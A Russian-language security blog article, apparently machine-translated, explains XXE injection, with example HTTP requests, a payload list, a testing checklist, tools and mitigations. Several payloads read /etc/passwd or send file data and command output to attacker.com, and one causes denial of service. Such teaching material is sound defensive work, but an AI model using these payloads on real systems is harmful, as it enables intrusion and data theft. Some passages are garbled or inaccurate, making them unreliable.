17 Фев, 2023

Внедрение внешней сущности XML

Vulnerability Assessment as a Service (VAaaS)

Tests systems and applications for vulnerabilities to address weaknesses.

Аббревиатура для внедрения внешней сущности - XXE, что означает внедрение “XML External Entity”.

Внедрение XML External Entity (XXE) - это тип уязвимости в системе безопасности, которая может возникнуть в приложениях, обрабатывающих входные данные XML. XML - это язык разметки, используемый для хранения и транспортировки данных, и обычно используется в веб-приложениях для обмена данными между сервером и клиентом. Внедрение XXE происходит, когда злоумышленник может внедрить вредоносный XML-документ в анализатор приложения, что позволяет ему получить доступ к конфиденциальным данным, выполнить удаленный код или вызвать атаку типа "отказ в обслуживании".

Уязвимость возникает, когда приложение неправильно проверяет или очищает вводимые пользователем данные перед их анализом в формате XML. При атаке XXE злоумышленник может иметь возможность определять внешние объекты во вредоносном XML-документе, которые могут использоваться для чтения файлов на сервере или доступа к ресурсам в сети. Используя эту уязвимость, злоумышленники могут украсть конфиденциальную информацию, выполнить произвольный код на сервере или вызвать сбой приложения.

Атаки с использованием инъекций XXE могут происходить в различных контекстах, включая веб-приложения, API SOAP и REST, а также другие приложения, которые полагаются на данные XML.

Типы внешних инъекций объектов

Существует несколько типов атак с внедрением внешних сущностей (XXE), которые были идентифицированы исследователями безопасности. Вот список некоторых из наиболее распространенных методов инъекции XXE:

  1. Внутриполосная инъекция XXE – при этом типе атаки злоумышленник отправляет вредоносный XML-документ в приложение и получает результаты атаки обратно внутри полосы в ответе приложения.

  2. Внеполосная (OOB) XXE инъекция – при этом типе атаки злоумышленник отправляет вредоносный XML-документ в приложение, а затем использует отдельный внеполосный канал для получения результатов атаки.

  3. Слепая инъекция XXE – при этом типе атаки злоумышленник отправляет вредоносный XML-документ в приложение, но не получает никакой обратной связи от приложения. Вместо этого злоумышленник должен использовать другой метод, чтобы определить, была ли атака успешной.

  4. Внедрение сущности параметра – при этом типе атаки злоумышленник использует уязвимость в способе обработки приложением сущностей параметров в DTD (Определение типа документа) для выполнения атаки XXE.

  5. Внедрение внешних объектов DTD – при этом типе атаки злоумышленник внедряет вредоносный DTD, включающий внешние объекты, которые могут использоваться для чтения файлов на сервере или доступа к сетевым ресурсам.

  6. Внедрение сущности SVG – при этом типе атаки злоумышленник внедряет вредоносный код в SVG-изображение, которое обрабатывается приложением, а затем использует XXE-инъекцию для выполнения кода.

  7. Внедрение SOAP с вложениями (SwA) – в этом типе атаки злоумышленник использует уязвимость в способе обработки сообщений SOAP с вложениями для выполнения атаки XXE.

Примеры различных запросов, которые могут быть использованы для тестирования внешних инъекций сущностей

Базовый запрос XXE:

				
					POST /test.php HTTP/1.1
Host: example.com
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<test>&xxe;</test>
				
			

в этом примере злоумышленник отправляет POST-запрос на test.php досье на example.com домен. Полезная нагрузка XML включает объект параметра с именем “xxe”, который считывает содержимое файла /etc/passwd с использованием ключевого слова SYSTEM.

Внеполосный запрос XXE:

				
					POST /test.php HTTP/1.1
Host: example.com
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
  <!ENTITY % xxe SYSTEM "http://attacker.com/xxe.dtd">
  %xxe;
]>
				
			

В этом примере злоумышленник отправляет POST-запрос в test.php досье на example.com домен. Полезная нагрузка XML включает объект параметра с именем “xxe”, который указывает на внешний DTD-файл, размещенный в домене злоумышленника. Затем злоумышленник может просмотреть журналы на своем сервере, чтобы узнать, была ли атака XXE успешной.

Слепой запрос XXE:

				
					POST /test.php HTTP/1.1
Host: example.com
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
  <!ENTITY xxe SYSTEM "http://attacker.com/xxe.dtd">
]>
<test>&xxe;</test>
				
			

В этом примере злоумышленник отправляет POST-запрос в test.php досье на example.com домен. Полезная нагрузка XML включает объект параметра с именем “xxe”, который указывает на внешний DTD-файл, размещенный в домене злоумышленника. Однако, поскольку приложение не предоставляет никакой обратной связи в ответе, злоумышленник должен использовать другой метод, чтобы определить, была ли атака XXE успешной.

Ввод объекта параметра:

				
					POST /test.php HTTP/1.1
Host: example.com
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE message [
  <!ENTITY % ext SYSTEM "http://attacker.com/external.dtd">
  %ext;
]>
<message>&payload;</message>
				
			

В этом примере злоумышленник отправляет POST-запрос в test.php досье на example.com домен. Полезная нагрузка XML включает объект параметра с именем “ext”, который указывает на внешний DTD-файл, размещенный в домене злоумышленника. Злоумышленник может использовать внешний DTD-файл для определения дополнительных объектов, таких как “полезная нагрузка”, которые могут быть использованы для выполнения атаки XXE.

Внеполосная (OOB) инъекция XXE:

				
					POST /test.php HTTP/1.1
Host: example.com
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE message [
  <!ENTITY % ext SYSTEM "http://attacker.com/external.dtd">
  <!ENTITY % data SYSTEM "file:///dev/random" >
  <!ENTITY % oob SYSTEM "http://attacker.com/?%data;">
  %ext;
]>
<message>&payload;</message>
				
			

В этом примере злоумышленник использует внеполосный канал для получения результатов атаки XXE. Полезная нагрузка XML включает объект параметра с именем “ext”, который указывает на внешний DTD-файл, размещенный в домене злоумышленника. Файл DTD содержит дополнительные объекты, такие как “данные” и “oob”, которые могут использоваться для считывания данных с сервера и отправки их в домен злоумышленника.

МЫЛО с насадками (SwA) для инъекций:

				
					POST /test.php HTTP/1.1
Host: example.com
Content-Type: multipart/related; boundary="boundary"

--boundary
Content-Type: text/xml; charset=utf-8
Content-Transfer-Encoding: 8bit

<?xml version="1.0"?>
<!DOCTYPE message [
  <!ENTITY % ext SYSTEM "http://attacker.com/external.dtd">
  %ext;
]>
<message>&payload;</message>

--boundary
Content-Type: application/octet-stream
Content-Transfer-Encoding:

				
			

В этом примере внешний DTD-файл размещен в домене злоумышленника. Файл DTD содержит дополнительные объекты, такие как “полезная нагрузка”, которые могут быть использованы для выполнения атаки XXE. Полезная нагрузка атаки включается в качестве вложения к запросу.

Важно отметить, что эти атаки являются лишь верхушкой айсберга, и существует множество вариантов и комбинаций атак, которые могут быть использованы для использования уязвимостей XXE.

Примеры использования внешних инъекций объектов

Извлечение конфиденциальных данных:

				
					POST /test.php HTTP/1.1
Host: example.com
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE message [
  <!ENTITY file SYSTEM "file:///etc/passwd">
]>
<message>&file;</message>
				
			

В этом примере злоумышленник отправляет POST-запрос в test.php досье на example.com домен. Полезная нагрузка XML включает объект с именем “file”, который считывает содержимое файла /etc/passwd с использованием ключевого слова SYSTEM.

Удаленное выполнение кода:

				
					POST /test.php HTTP/1.1
Host: example.com
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE message [
  <!ENTITY command "<!ENTITY &#x25; send SYSTEM 'http://attacker.com/?%data;'>">
  <!ENTITY data SYSTEM 'expect://ls'>
  %command;
]>
<message>&send;</message>
				
			

В этом примере злоумышленник отправляет POST-запрос в test.php досье на example.com домен. Полезная нагрузка XML включает в себя объект с именем “command”, который вводит объект с именем “send”, который отправляет выходные данные команды “ls” в домен злоумышленника.

Отказ в обслуживании (DoS):

				
					POST /test.php HTTP/1.1
Host: example.com
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE message [
  <!ENTITY % entity1 "<!ENTITY &#x25; entity2 '&#x26;#x25; entity2;&#x25; entity2;'>">
  %entity1;
]>
<message>&entity2;</message>
				
			

В этом примере злоумышленник отправляет POST-запрос в test.php досье на example.com домен. Полезная нагрузка XML включает в себя объект с именем “entity1”, который вводит объект с именем “entity2”, который ссылается на себя, вызывая бесконечный цикл и потребляя чрезмерные ресурсы на сервере, что приводит к DoS.

Это всего лишь несколько примеров запросов на использование внешних объектов. Важно отметить, что эти атаки предназначены только для образовательных целей, и их использование незаконно без разрешения владельца целевой системы.

Методы повышения привилегий Внедрение внешних сущностей

Методы повышения привилегий для атак с внедрением внешних объектов (XXE) обычно включают использование уязвимости для обхода контроля доступа или получения повышенных привилегий в целевой системе.

  1. Извлечение конфиденциальных данных для бокового перемещения: злоумышленник может использовать уязвимость XXE для извлечения конфиденциальных данных, таких как учетные данные или файлы конфигурации, которые могут быть использованы для бокового перемещения в целевой сети. Например, злоумышленник может внедрить объект, который считывает содержимое конфиденциального файла и отправляет его на удаленный сервер, контролируемый злоумышленником.

  2. Использование доверительных отношений: В некоторых случаях злоумышленник может использовать уязвимость XXE для использования доверительных отношений между различными системами. Например, злоумышленник может внедрить объект, который ссылается на внешний DTD, размещенный в доверенном домене, например на сайте поставщика или партнера. Доверенный сайт может использоваться для выполнения полезной нагрузки атаки, позволяя злоумышленнику обойти средства контроля доступа в целевой системе.

  3. Использование сложных структур данных XML: Некоторые структуры данных XML могут быть сложными и трудными для анализа, что может создать возможности для повышения привилегий. Например, злоумышленник может использовать уязвимость XXE для внедрения объекта, который изменяет внутреннее подмножество DTD XML-документа, что может изменить структуру документа и позволить злоумышленнику получить доступ к ограниченным частям системы.

  4. Атака на анализаторы XML: В некоторых случаях злоумышленник может использовать уязвимость XXE для использования уязвимостей в самом анализаторе XML. Например, злоумышленник может использовать объект, который запускает уязвимость переполнения буфера или повреждения памяти в анализаторе, позволяя злоумышленнику выполнять произвольный код с повышенными привилегиями.

Общая методология и контрольный список для тестирования внешних внедрений сущностей

  1. Определение полей ввода, которые принимают XML-данные: первым шагом в тестировании на наличие уязвимостей XXE является определение любых полей ввода, которые принимают XML-данные, таких как API SOAP или REST, которые принимают полезную нагрузку XML, или веб-приложения, которые принимают XML-данные в полях ввода.

  2. Попытка внедрить простую внешнюю сущность: следующим шагом является попытка внедрить простую внешнюю сущность, такую как полезная нагрузка включения файла, которая считывает файл из локальной файловой системы. Если приложение обрабатывает объект и возвращает содержимое файла, оно может быть уязвимо для XXE.

  3. Попытка внедрить более сложные полезные нагрузки: Если простая полезная нагрузка не удалась, попробуйте внедрить более сложные полезные нагрузки, которые используют вложенные объекты или ссылаются на внешние DTD. Цель состоит в том, чтобы определить конкретные типы синтаксических анализаторов XML или структур данных XML, которые уязвимы для атак XXE.

  4. Проверка на наличие слепых уязвимостей XXE: В некоторых случаях уязвимости XXE могут быть “слепыми”, что означает, что приложение не возвращает никаких сообщений об ошибках или других указаний на то, что загрузка была успешной. Чтобы проверить наличие уязвимостей blind XXE, введите полезную нагрузку, которая отправляет запрос на внешний сервер, управляемый тестировщиком, например удаленный файл изображения или поиск DNS. Если сервер получает запрос, это указывает на то, что загрузка была успешной.

  5. Проверка проверки и очистки входных данных: проверьте, проверяет ли приложение и очищает ли входные данные. Если приложение не проверяет или не очищает входные данные, может оказаться возможным обойти средства контроля безопасности и выполнить полезные нагрузки XXE.

  6. Проверьте наличие защиты от XXE: Многие фреймворки и библиотеки обеспечивают защиту от уязвимостей XXE, таких как использование безопасных анализаторов XML или параметров конфигурации, которые препятствуют разрешению внешних объектов. Проверьте, реализовано ли в приложении такие средства защиты и являются ли они эффективными.

  7. Документируйте уязвимость и сообщайте об этом: Если уязвимость обнаружена, задокументируйте детали эксплойта и предоставьте четкое объяснение воздействия и потенциального риска для организации. Сообщите об уязвимости соответствующим заинтересованным сторонам, таким как команда разработчиков или служба безопасности, и укажите четкие шаги по устранению.

Это общая методология и контрольный список для тестирования уязвимостей XXE. Важно отметить, что конкретные методы и этапы тестирования могут варьироваться в зависимости от архитектуры целевой системы и конкретного контекста уязвимости.

Набор инструментов для использования внешних инъекций сущностей

Ручные инструменты:

  1. Burp Suite: Burp Suite - популярный инструмент для тестирования безопасности веб-приложений, включая тестирование XXE. Он предоставляет ряд функций для ручного тестирования на наличие уязвимостей XXE, таких как возможность изменять полезные нагрузки XML и отправлять их целевому приложению.

  2. OWASP ZAP: OWASP ZAP - еще один популярный инструмент для тестирования безопасности веб-приложений. Он включает в себя функции для ручного тестирования на наличие уязвимостей XXE, такие как возможность изменять запросы и ответы и анализировать XML-данные.

  3. SoapUI: SoapUI - это инструмент тестирования, специально разработанный для тестирования SOAP и REST API. Он включает функции для ручного тестирования на наличие уязвимостей XXE, такие как возможность изменять полезные нагрузки XML и анализировать ответы.

  4. XML External Entity Injection Exploiter: Это ручной инструмент, разработанный специально для тестирования уязвимостей XXE. Это позволяет тестировщику изменять полезные нагрузки XML и анализировать ответы на наличие признаков уязвимостей XXE.

  5. XXE Payloads: это набор полезных нагрузок XXE и DTD, которые можно использовать для ручного тестирования на наличие уязвимостей XXE.

Автоматизированные инструменты:

  1. Nessus: Nessus - популярный сканер уязвимостей, который включает в себя модули для автоматической проверки на наличие уязвимостей XXE. Он может сканировать веб-приложения и API-интерфейсы на наличие уязвимостей XXE и предоставлять отчет о любых обнаруженных результатах.

  2. Acunetix: Acunetix - еще один популярный сканер веб-приложений, который включает функции автоматической проверки на наличие уязвимостей XXE. Он может выявить уязвимости XXE и предоставить рекомендации по устранению.

  3. AppScan: AppScan - это сканер веб-приложений, разработанный компанией HCL Technologies, который включает функции автоматической проверки на наличие уязвимостей XXE. Он может выявить уязвимости XXE и предоставить рекомендации по устранению.

  4. Netsparker: Netsparker - это сканер веб-приложений, который включает функции автоматической проверки на наличие уязвимостей XXE. Он может выявить уязвимости XXE и предоставить рекомендации по устранению.

  5. WebInspect: WebInspect - это сканер веб-приложений, разработанный компанией Micro Focus, который включает функции автоматической проверки на наличие уязвимостей XXE. Он может выявить уязвимости XXE и предоставить рекомендации по устранению.

  6. Skipfish: Skipfish - это сканер веб-приложений, который включает функции автоматической проверки на наличие уязвимостей XXE. Он может выявить уязвимости XXE и предоставить рекомендации по устранению.

  7. Arachni: Arachni - это сканер веб-приложений с открытым исходным кодом, который включает функции автоматической проверки на наличие уязвимостей XXE. Он может выявить уязвимости XXE и предоставить рекомендации по устранению.

  8. Vega: Vega - это сканер веб-приложений с открытым исходным кодом, который включает функции автоматической проверки на наличие уязвимостей XXE. Он может выявить уязвимости XXE и предоставить рекомендации по устранению.

  9. Nikto: Nikto - это сканер веб-сервера с открытым исходным кодом, который включает функции автоматической проверки на наличие уязвимостей XXE. Он может выявить уязвимости XXE и предоставить рекомендации по устранению.

  10. Qualys: Qualys - это облачный сканер уязвимостей, который включает функции автоматической проверки на наличие уязвимостей XXE. Он может выявить уязвимости XXE и предоставить рекомендации по устранению.

Плагины для браузера:

  1. XXEinjector: XXEinjector - это плагин для браузера, предназначенный для проверки уязвимостей XXE. Это позволяет пользователю изменять полезные данные XML и отправлять их в целевое приложение.

  2. XxeProbe: XxeProbe - это еще один плагин для браузера, предназначенный для проверки уязвимостей XXE. Он может анализировать ответы на предмет выявления уязвимостей XXE и давать рекомендации по устранению.

Тестовые фреймворки:

  1. OWASP Web Security Testing Guide: OWASP Web Security Testing Guide - это платформа для тестирования веб-приложений на наличие уязвимостей в системе безопасности, включая уязвимости XXE. В нем содержатся рекомендации по ручным и автоматизированным методам и техникам тестирования.

  2. NIST SP 800-53: является основой для средств управления информационной безопасностью, включая средства управления для веб-приложений. Он включает в себя руководство по тестированию веб-приложений на наличие уязвимостей XXE и других проблем безопасности.

  3. PTES: Стандарт выполнения тестирования на проникновение (PTES) представляет собой основу для проведения тестирования на проникновение, включая тестирование веб-приложений. Он включает в себя руководство по тестированию на наличие уязвимостей XXE и других проблем безопасности.

  4. OSSTMM: Руководство по методологии тестирования безопасности с открытым исходным кодом (OSSTMM) - это платформа для тестирования безопасности, включая тестирование веб-приложений. Он включает в себя руководство по тестированию на наличие уязвимостей XXE и других проблем безопасности.

  5. OASIS: Организация по продвижению стандартов структурированной информации (OASIS) - это организация по стандартизации, которая разработала ряд стандартов, связанных с XML, включая XML-схемы и DTD. Эти стандарты могут быть использованы для тестирования на наличие уязвимостей XXE.

    В целом, при тестировании на наличие уязвимостей, связанных с внедрением внешних объектов, важно использовать комбинацию ручных и автоматизированных инструментов и методов для обеспечения тщательного тестирования. Это может включать в себя изменение полезных нагрузок XML, анализ ответов и использование множества различных инструментов для выявления уязвимостей.

Средний балл CVSS внешних инъекций объектов

Трудно получить средний балл CVSS для уязвимостей с внедрением внешних объектов (XXE), поскольку серьезность каждой уязвимости может сильно варьироваться в зависимости от конкретной реализации и потенциального воздействия на уязвимую систему.

Общая система оценки уязвимостей (CVSS) является стандартным методом оценки серьезности уязвимостей в системе безопасности. Оценка CVSS рассчитывается на основе нескольких факторов, включая влияние уязвимости и простоту эксплуатации. Итоговый балл колеблется от 0 до 10, причем более высокий балл указывает на более серьезную уязвимость.

В случае уязвимостей XXE воздействие и простота использования могут сильно различаться. Например, уязвимость XXE, которая позволяет злоумышленнику извлекать конфиденциальные данные с сервера, может считаться очень серьезной и может получить высокий балл CVSS. С другой стороны, уязвимость XXE, которая позволяет злоумышленнику получить только ограниченный объем информации или требует высокого уровня квалификации для использования, может получить более низкий балл CVSS.

В целом, уязвимости XXE считаются серьезными проблемами безопасности, которые потенциально могут привести к утечке данных, отказу в обслуживании или удаленному выполнению кода. Таким образом, важно устранить эти уязвимости, как только они будут обнаружены, чтобы предотвратить их использование злоумышленниками. Рекомендуется оценить воздействие и возможность использования каждой конкретной уязвимости XXE и использовать полученную оценку CVSS в качестве руководства для определения приоритетов действий по исправлению.

Общее перечисление слабых мест (CWE) для внешних инъекций объектов

  1. CWE-611: Неправильное ограничение ссылки на внешнюю сущность XML: эта уязвимость возникает, когда приложение обрабатывает вводимые XML-данные без надлежащего ограничения ссылок на сущности во входных данных, что может позволить злоумышленникам читать или записывать произвольные файлы, извлекать конфиденциальные данные или выполнять произвольный код.

  2. CWE-78: Неправильная нейтрализация специальных элементов, используемых в команде операционной системы: эта слабость возникает, когда приложение неправильно очищает пользовательский ввод, используемый в команде операционной системы, что может позволить злоумышленникам выполнять произвольные команды на сервере.

  3. CWE-200: Раскрытие информации: эта уязвимость возникает, когда приложение непреднамеренно предоставляет конфиденциальную информацию злоумышленнику. В случае уязвимостей XXE это может произойти, если злоумышленник сможет получить конфиденциальную информацию с сервера.

  4. CWE-400: Неконтролируемое потребление ресурсов: эта уязвимость возникает, когда приложение неправильно ограничивает ресурсы, которые могут быть использованы злоумышленником. В случае уязвимостей XXE это может произойти, если злоумышленник способен заставить сервер потреблять чрезмерные ресурсы, что приводит к отказу в обслуживании.

  5. CWE-502: Десериализация ненадежных данных: эта уязвимость возникает, когда приложение десериализует данные, предоставленные ненадежным источником, что может позволить злоумышленникам выполнять произвольный код на сервере.

  6. CWE-601: Перенаправление URL-адреса на ненадежный сайт: эта уязвимость возникает, когда приложение позволяет перенаправить пользователя на ненадежный сайт. В случае уязвимостей XXE это может произойти, если злоумышленник сможет перенаправить пользователя на сайт, который находится под контролем злоумышленника.

  7. CWE-732: Неправильное назначение разрешений для критических ресурсов: эта уязвимость возникает, когда приложение неправильно назначает разрешения для критических ресурсов, что может позволить злоумышленникам получить доступ к этим ресурсам или изменить их.

  8. CWE-862: Отсутствует авторизация: эта уязвимость возникает, когда приложение неправильно применяет средства контроля доступа, что может позволить злоумышленникам получить доступ к ресурсам или выполнять действия, которые они не должны иметь возможности.

  9. CWE-863: Неправильная авторизация: эта уязвимость возникает, когда приложение неправильно применяет средства контроля доступа, что может позволить злоумышленникам получить доступ к ресурсам или выполнить действия, которые они не должны иметь возможности.

Последние CVE, связанные с внедрением внешних объектов

CVE-2022-0217 – Было обнаружено, что внутренняя библиотека просодии для загрузки XML на основе libexpat неправильно ограничивает возможности XML, разрешенные в анализируемых XML-данных. При наличии подходящих входных данных злоумышленника это приводит к расширению рекурсивных ссылок на объекты из DTD (CWE-776). Кроме того, в зависимости от используемой версии libexpat, он также может разрешать инъекции с использованием ссылок на внешние сущности XML (CWE-611).

Список CVE постоянно обновляется и дополняется актуальный список всех существующих распространенных уязвимостей и уязвимостей (CVE) для уязвимостей, связанных с контрабандой HTTP-запросов, можно найти на официальном веб-сайте CVE https://cve.mitre.org/

Список популярных эксплойтов, связанных с внедрением внешних сущностей

Существует несколько популярных эксплойтов, связанных с уязвимостями, связанными с внедрением внешних сущностей (XXE), и они могут иметь широкий спектр последствий в зависимости от конкретной реализации и серьезности уязвимости. Вот некоторые распространенные эксплойты XXE:

  1. Удаленное выполнение кода (RCE): уязвимость XXE может позволить злоумышленнику выполнить произвольный код на сервере. Это может быть достигнуто путем внедрения вредоносной XML-сущности, включающей исполняемый код, который затем может быть проанализирован и выполнен сервером.

  2. Отказ в обслуживании (DoS): злоумышленник может использовать уязвимость XXE, чтобы заставить сервер потреблять чрезмерные ресурсы, что приводит к отказу в обслуживании. Это может быть достигнуто путем введения объекта XML, который заставляет сервер входить в бесконечный цикл, или путем введения большого количества объектов, которые заставляют сервер потреблять большой объем памяти.

  3. Раскрытие файлов: уязвимость XXE может позволить злоумышленнику получить конфиденциальные файлы с сервера. Это может быть достигнуто путем внедрения XML-объекта, содержащего ссылку на конфиденциальный файл, который затем может быть проанализирован и возвращен злоумышленнику.

  4. SSRF (подделка запросов на стороне сервера): злоумышленник может использовать уязвимость XXE для выполнения запросов на стороне сервера к другим внутренним системам, что может позволить злоумышленнику получить конфиденциальную информацию или выполнить произвольный код в этих системах. Это может быть достигнуто путем введения XML-объекта, который включает ссылку на внутреннюю систему, которая затем может быть использована для отправки запросов к этой системе.

  5. Перенос подписи XML: это особый тип эксплойта XXE, который включает в себя манипулирование подписью XML, используемой для цифровых подписей в документах XML. Манипулируя подписью, злоумышленник может включать произвольные XML-объекты, которые могут быть проанализированы и выполнены сервером, что может привести к удаленному выполнению кода или другим типам атак.

  6. XXE через API SOAP и REST: злоумышленник может использовать уязвимости XXE в API SOAP и REST для извлечения конфиденциальной информации или выполнения произвольного кода на сервере. Это может быть достигнуто путем внедрения вредоносных XML-объектов в запросы SOAP или REST, которые затем могут быть проанализированы и выполнены сервером.

  7. Слепой XXE: в некоторых случаях уязвимость XXE может не возвращать злоумышленнику никаких выходных данных, что затрудняет ее обнаружение и использование. Слепые атаки XXE включают внедрение объекта XML, который запускает определенный ответ от сервера, такой как изменение записи базы данных или изменение времени ответа, который может быть использован для вывода конфиденциальной информации или выполнения произвольного кода.

Практикуйтесь в выявлении и использовании внешних инъекций сущностей

Существует несколько доступных ресурсов и инструментов, которые могут помочь вам начать работу.

Вот несколько рекомендаций:

  1. Уязвимые веб-приложения: Существует несколько преднамеренно уязвимых веб-приложений, которые включают уязвимости XXE в качестве части своего дизайна. Эти приложения - отличный способ попрактиковаться в использовании уязвимостей XXE и узнать больше о различных типах эксплойтов XXE. Некоторые примеры уязвимых веб-приложений включают OWASP WebGoat и Mutillidae.

  2. Задачи захвата флага (CTF): Задачи CTF - это соревнования, в которых участники пытаются решить ряд проблем безопасности, включая уязвимости XXE. Эти задачи могут стать отличным способом попрактиковаться и улучшить свои навыки в конкурентной среде. Существует несколько онлайн-платформ CTF, таких как HackTheBox и TryHackMe, которые предлагают XXE задачи.

  3. Инструменты тестирования на проникновение: Существует несколько инструментов тестирования на проникновение, которые могут помочь вам выявить и использовать уязвимости XXE, такие как Burp Suite и OWASP ZAP. Эти инструменты можно использовать для сканирования уязвимостей XXE и тестирования различных типов эксплойтов XXE.

  4. Онлайн-учебные пособия и курсы: Существует несколько онлайн-учебных пособий и курсов, которые помогут вам узнать об уязвимостях XXE и о том, как их использовать. Некоторые примеры включают модуль “Внедрение XXE” в Академии веб-безопасности PortSwigger и модуль “Внедрение внешних объектов XML” в проекте OWASP Top 10.

  5. Практика в реальных приложениях: Наконец, один из лучших способов узнать об уязвимостях XXE - это попрактиковаться в реальных приложениях. Это можно сделать, настроив среду тестирования и намеренно внедрив уязвимости XXE, или участвуя в программах вознаграждения за ошибки или программах раскрытия уязвимостей. Важно отметить, что вы должны пытаться использовать уязвимости только в тех системах, на тестирование которых у вас есть явное разрешение.

Книги с обзором внешних инъекций сущностей

  1. “Безопасность веб-приложений: руководство для начинающих” Брайана Салливана и Винсента Лью: Эта книга охватывает широкий спектр тем безопасности веб-приложений, включая уязвимости XXE, в удобной для начинающих форме. В нем содержатся практические рекомендации по выявлению и снижению рисков безопасности в веб-приложениях.

  2. “The Web Application Hacker's Handbook: поиск и использование уязвимостей безопасности” Дафидд Штуттард и Маркус Пинто: Эта книга представляет собой всеобъемлющее руководство по безопасности веб-приложений и включает подробное описание уязвимостей XXE. В нем содержатся пошаговые инструкции по выявлению, использованию и устранению уязвимостей XXE в веб-приложениях.

  3. “Рецепты XML и JSON для SQL Server: подход к решению проблем” Алекса Гринберга: Эта книга посвящена обработке XML и JSON в SQL Server, но включает раздел об уязвимостях XXE и способах их устранения. В нем содержатся практические советы о том, как написать безопасный код для обработки XML и JSON в SQL Server.

  4. “Искусство взлома” Джона Эриксона: Эта книга представляет собой практическое руководство по взлому и включает раздел о внедрении внешних сущностей XML. В нем содержатся подробные инструкции о том, как выявлять и использовать уязвимости XXE в веб-приложениях.

  5. “Освоение современного тестирования на проникновение в Интернет” Прахара Прасада: Эта книга представляет собой практическое руководство по тестированию на проникновение в Интернет и включает раздел об уязвимостях XXE. В нем содержатся пошаговые инструкции по выявлению и использованию уязвимостей XXE в веб-приложениях с помощью таких инструментов, как Burp Suite.

  6. “Black Hat Python: программирование на Python для хакеров и пентестеров” Джастина Сейтца: Эта книга посвящена использованию Python для взлома и включает раздел об уязвимостях XXE. В нем даются практические советы о том, как писать скрипты на Python для выявления и использования уязвимостей XXE в веб-приложениях.

Список полезных нагрузок для внедрения внешних объектов

  1. ‘<!DOCTYPE foo [ <!ENTITY xxe SYSTEM “file:///etc/passwd”> ]>’
    Эта полезная нагрузка определяет внешний объект с именем “xxe”, который ссылается на локальную файловую систему для чтения содержимого файла “/etc /passwd”.

  2. ‘<!DOCTYPE foo [ <!ENTITY xxe SYSTEM “http://attacker.com/xxe”> ]>’
    Эта полезная нагрузка определяет внешний объект с именем “xxe”, который ссылается на контролируемый злоумышленником веб-сервер для извлечения произвольных данных или выполнения произвольных команд.

  3. ‘<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM “file:///etc/passwd”> %xxe; ]>’
    Эта полезная нагрузка определяет объект внешнего параметра с именем “xxe”, который ссылается на локальную файловую систему для чтения содержимого файла “/etc/passwd”.

  4. ‘<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM “http://attacker.com/xxe”> %xxe; ]>’
    Эта полезная нагрузка определяет объект внешнего параметра с именем “xxe”, который ссылается на контролируемый злоумышленником веб-сервер для извлечения произвольных данных или выполнения произвольных команд.

  5. ‘<!DOCTYPE foo [ <!ENTITY xxe SYSTEM “php://filter/read=convert.base64-encode/resource=index.php”> ]>’ This payload defines an external entity named “xxe” that uses the PHP filter to read the contents of a file and encode it in Base64 format.

  6. ‘<!DOCTYPE foo [ <!ENTITY xxe SYSTEM “php://input”> ]>’
    Эта полезная нагрузка определяет внешний объект с именем “xxe”, который считывает содержимое тела запроса, которое может использоваться для передачи произвольных данных или команд на сервер.

  7. ‘<!DOCTYPE foo [ <!ENTITY xxe SYSTEM “data:text/plain;base64,PHNjcmlwdD5hbGVydCgxMjM0KTwvc2NyaXB0Pg==”> ]>’
    Эта полезная нагрузка определяет внешний объект с именем “xxe”, который содержит данные в кодировке base64, которые могут использоваться для выполнения произвольного кода JavaScript в браузере.

Смягчение последствий и способы защиты от внешних инъекций сущностей

Вот несколько способов смягчения и защиты от атак с внедрением внешних объектов:

  1. Проверка входных данных: проверьте и очистите все введенные пользователем данные, чтобы убедиться, что они находятся в ожидаемом формате и не содержат никаких вредоносных данных. Это включает в себя входные данные из всех источников, таких как формы, файлы cookie и заголовки.

  2. Используйте белый список: внесите в белый список допустимые входные значения и удалите все входные данные, которые не соответствуют ожидаемому формату. Это может предотвратить внедрение вредоносного кода или объектов.

  3. Избегайте использования анализаторов XML, поддерживающих внешние объекты: используйте анализаторы XML, которые не поддерживают внешние объекты, или отключите внешние объекты в конфигурации анализатора. Это может предотвратить анализ и выполнение вредоносных объектов.

  4. Используйте параметризованные запросы: используйте параметризованные запросы вместо конкатенации строк для построения запросов к базе данных. Это может предотвратить атаки с использованием SQL-инъекций, которые могут использоваться в сочетании с атаками с внедрением внешних объектов для повышения привилегий и выполнения произвольного кода.

  5. Используйте проверку ввода и кодировку вывода на стороне сервера: используйте проверку ввода на стороне сервера для проверки и очистки всего пользовательского ввода и кодировку вывода, чтобы предотвратить внедрение вредоносного кода или объектов в ответ.

  6. Обновляйте программное обеспечение: обновляйте все программное обеспечение и зависимости с помощью последних исправлений и обновлений безопасности. Это может предотвратить использование известных уязвимостей.

  7. Внедрение контроля доступа: внедрение контроля доступа для ограничения доступа к конфиденциальным ресурсам и функциям. Это может ограничить воздействие атаки с внедрением внешнего объекта и предотвратить несанкционированный доступ к критически важным данным.

Следуя этим рекомендациям, вы можете значительно снизить риск атак с внедрением внешних объектов и защитить свои приложения и данные от злоумышленников.

Заключение

Внедрение внешних сущностей - это тип уязвимости в системе безопасности, который позволяет злоумышленнику внедрять вредоносный код или сущности в XML-запрос или запрос SOAP. Это может быть использовано для кражи конфиденциальных данных, повышения привилегий и выполнения произвольного кода. Для защиты от внедрения внешних сущностей важно следовать рекомендациям, таким как проверка входных данных, параметризованные запросы и проверка входных данных и кодирование выходных данных на стороне сервера. Предпринимая эти шаги, организации могут значительно снизить риск атак с внедрением внешних сущностей и защитить свои приложения и данные от злоумышленников.

Другие Услуги

Готовы к безопасности?

Связаться с нами